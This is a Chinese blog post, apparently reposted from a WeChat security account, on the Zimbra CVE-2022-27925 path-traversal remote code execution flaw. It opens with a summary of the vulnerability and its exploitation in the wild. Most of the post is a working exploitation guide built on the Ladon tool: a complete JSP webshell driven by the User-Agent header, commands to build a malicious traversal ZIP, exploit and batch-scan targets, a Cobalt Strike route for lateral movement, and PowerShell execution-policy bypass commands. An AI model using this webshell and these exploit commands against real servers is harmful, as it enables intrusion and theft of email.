Zimbra是一套邮箱和协同办公平台,包括WebMail,日历,通信录,Web文档管理等功能,有140个国家的超过20万企业使用,其中包括超过1000个政府和金融机构。
CVE-2022-27925漏洞
Volexity研究人员发现了一个Zimbra认证绕过漏洞(CVE-2022-27925)被用于攻击Zimbra Collaboration Suite (ZCS)邮箱服务器。在调查一起Zimbra邮件服务器入侵事件过程中,Volexity发现ZCS远程利用是根本原因。检查入侵服务器的web日志发现,漏洞利用预之前写入webshell到硬盘的漏洞是一致的。示例web日志记录如下所示:
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
检查MailboxImport servlet源码发现,url访问时会调用“doPost”函数,会检查用户是否经过认证,如下图所示:
图 “MailboxImport” servlet函数
代码的问题是对认证进行了检查,也设置了错误信息,但是并没有return描述。也就是说之后的代码会继续执行,与用户的认证状态无关。利用该函数,攻击者只需要在URL中设置正确的参数就可以未授权利用该漏洞。
受影响的版本
受影响的版本包括:
· Zimbra 8.8.15
· Zimbra 9.0.0
在野漏洞利用
Volexity 发现攻击者滥用该漏洞的过程中结合了另一个认证绕过漏洞(CVE-2022-37042)。研究人员认为该漏洞与2021年初发现的微软Exchange 0-day漏洞利用基本一致。最初的时候只是被情报监控相关的攻击者利用,但之后被大规模利用。攻击者成功利用该漏洞可以在被入侵的服务器的特定位置部署web shell以实现驻留。
CISA在11日已经确认了这两个安全漏洞的在野利用。通过扫描发现,目前有超过1000台服务器存在后门或已经被入侵。涉及政府机关、军事结构、收入数十亿的跨国公司。由于扫描shell路径的限制,预计被入侵的服务器数量更多。
安全补丁
Volexity称,如果有漏洞的服务器在5月底前没有修复CVE-2022-27925漏洞,那就可以认为ZCS实例已经被入侵了,包括邮件内容在内的所有内容都可能被窃了。
研究人员建议对可能的入侵事件进行分析,并使用最新的补丁重构ZCS实例。
原理性POC检测
何为原理性POC,打个比方,如早期的疫情检测,发现有人感冒就拉去隔离说有新冠,因为当时技术落后,无法通过病毒特征来识别,所以当时检测出感染者靠的是运气,后期通过对病毒的不断研究,发现其特征,可做核酸检测,发现个感冒的人大家都不怕了,因为通过病毒特征检测,大家知道这人到底是不是真的感染病毒。很多扫描器检测是否存在漏洞,只是单纯检测某页面是否存在(这种其实就是靠运气检测的假POC),如果漏洞刚公开几天或一个月内,可能用扫描器去检测,发现“存在漏洞”然后刚好又利用成功,会认为扫描器准确,等再过一段时间,目标都打补丁了,扫描器再扫,还是提示漏洞,但死都利用不成功,仔细一看目标版本都是补丁版本了。
二、CVE-2022-27925 RCE漏洞复现
Ladon 9.2.0新增功能
Ladon 9.2.0 20220818
[+]CVE-2022-27925 Zimbra mboximport ZIP目录穿越漏洞GetShell检测
[+]EXP-2022-27925 Zimbra mboximport ZIP目录穿越漏洞GetShell EXP
[+]WebShellCmd 新增JSP UserAgent明文WebShell & Base64 Shell
[-]移除IsShiro
LadonGUI 9.2.0 20220815
[u]修复文件分割功能 自动行前添加http://的BUG
[u]修复IP/URL 未填写文件 使用文本去重等功能崩溃的BUG
第一步 Ladon原理性检测CVE-2022-27925漏洞
通过漏洞向目标发送穿越漏洞ZIP文件,释放JSP文件输出指定内容,检测文件是否存活且包含指定特征,从原理上确认是否存在漏洞,即检测出来的漏洞,绝对可以利用,存在漏洞的URL回显对应漏洞编号并高亮显示。
命令
Ladon http://zimbra.k8gege.org CVE-2022-27925
批量检测
##### 165 CVE-2022-27925 批量探测Zimbra邮服ZIP目录穿越RCE漏洞
Ladon 192.168.1.8 CVE-2022-27925
Ladon http://zimbra.k8gege.org CVE-2022-27925
Ladon ip.txt CVE-2022-27925
Ladon url.txt CVE-2022-27925
Ladon 192.168.1.1/c CVE-2022-27925
Ladon 192.168.1.1/b CVE-2022-27925
PS:当目标参数为IP时,由于不确定IP哪个端口开放是否存在Zimbra,Ladon会探测多个端口(80、443、8443、7071等,成功发现一个端口存在漏洞立即退出不再检测同一IP其它端口,失败全部检测完几个端口才退出)
第二步 LadonGo生成CVE-2022-27925穿越漏洞ZIP文件
支持格式: zip, jar, tar, tar.bz2, tar.gz and tgz
准备好webshell,使用LadonGo的EvilArc模块生成利用zip文件
ua.jsp
已转成一行代码,Ladon >=9.2.0 webshell模块可连
<%import="java.io.*"%><% import="java.lang.String.*"%><%out.print("403 Forbidden");try{String pass = "tom";String cmd = request.getHeader("User-Agent");String path=application.getRealPath(request.getRequestURI());String dir=new File(path).getParent();if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}if(cmd.contains(pass+"=")){String cccc=cmd.replace(pass+"=","");Process child = Runtime.getRuntime().exec(cccc);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();}catch (InterruptedException e) {e.printStackTrace();}}}catch (IOException e) {System.err.println(e);}%>
命令:
Ladon EvilArc poc.zip 7 opt/zimbra/jetty_base/webapps/zimbra/public/ lnx test.jsp
Kali下生成(当然也可以使用其它Linux或Mac系统都是可以的 不要死脑筋)
第三步 EXP-2022-27925 Zimbra邮服未授权RCE漏洞EXP GetShell
命令:
Ladon EXP-2022-27925 https://zimbra.k8gege.org poc.zip
第四步 检查WebShell
看到403不要慌,原本设计就是这样子的
第五步 Ladon连接WebShell执行命令
为了解决批量时webshell的兼容性问题,我们使用ua明文版webshell,所以连接的时候,参数也要对应,如下图成功执行命令,又可以愉快玩耍了。
命令:
Ladon WebShell jsp ua https://zimbra.k8gege.org pass whoami
PS:实战可以自己替换成其它webshell,使用管理工具操作更方便
三、CobaltStrike Ladon插件 Zimbra CVE-2022-27925 GetShell
实战中可能有些目标Zimbra只能内网访问,若内网中存在zimbra服务器,我们也可以通过CS一键GetShell对内网进行横向移动,获取邮件服务器。用法和直接使用Ladon一样,我们只需要在beacon输入对应Ladon命令即可
Ladon http://zimbra.k8gege.org CVE-2022-27925
右键GUI上打X的代表该功能未实现,但命令行一般均已实现,如本文的cve-2022-27925漏洞检测。
成功getshell后,使用webshell模块连接内网zimbra服务器执行命令
##### 168 WebShellCmd 连接jsp WebShell(支持cd、k8、ua、uab64)
Ladon WebShell jsp uab64 https://zimbra.k8gege.org pass whoami
四、PowerShell版Ladon CVE-2022-27925 GetShell
命令:
powershell -exec bypass Import-Module .Ladon.ps1;Ladon whoami
powershell -exec bypass Import-Module .Ladon.ps1;Ladon https://zimbra.k8gege.org CVE-2022-27925
powershell -exec bypass Import-Module .Ladon.ps1;Ladon EXP-2022-27925 https://zimbra.k8gege.org poc.zip
powershell -exec bypass Import-Module .Ladon.ps1;Ladon WebShell jsp ua https://zimbra.k8gege.org/ua.jsp tom id
PS: 以上是本地执行,也可远程加载执行,具体命令查看Ladon.ps1注释
0x001 测试Ladon.ps1是否可正常执行 使用Ladon whoami
可正常执行后,我们再使用同样的方法,执行其它模块,替换whoami即可
连接webshell执行命令
powershell -exec bypass Import-Module .Ladon.ps1;Ladon WebShell jsp ua https://zimbra.k8gege.org/ua.jsp tom id
Ladon Wiki
Ladon功能模块很多,需要什么工具或功能可以在WIKI里搜索一下,可能省去你去网上搜索工具的时间,搞不好Ladon就有你想要的其它功能,用法一样简单。或者你知道有哪些功能,但不记得命令,也可以查看WIKI。
以上仅为简易命令,更多命令用法移步博客或关注本公众号,有空更新,当然也希望大家有空帮写教程,毕竟不同的人看教程理解不一样,使用场景也不一样,有些人的教程适合新手,有些人的教程适合所有人,我也没空把所有功能都当成新手来教,因为我也懒得写,所以有时候发完文章后,突然想起某个点没说清楚或没讲到位,但是公众号和博客不一样,不支持修改,所以就懒得改了,等下次就不一定记得这回事了。算了不说了,快12点了,先发这篇以后再说。
原文始发于微信公众号(K8实验室):Ladon 9.2.0 CVE-2022-27925 Zimbra Rce GetShell漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论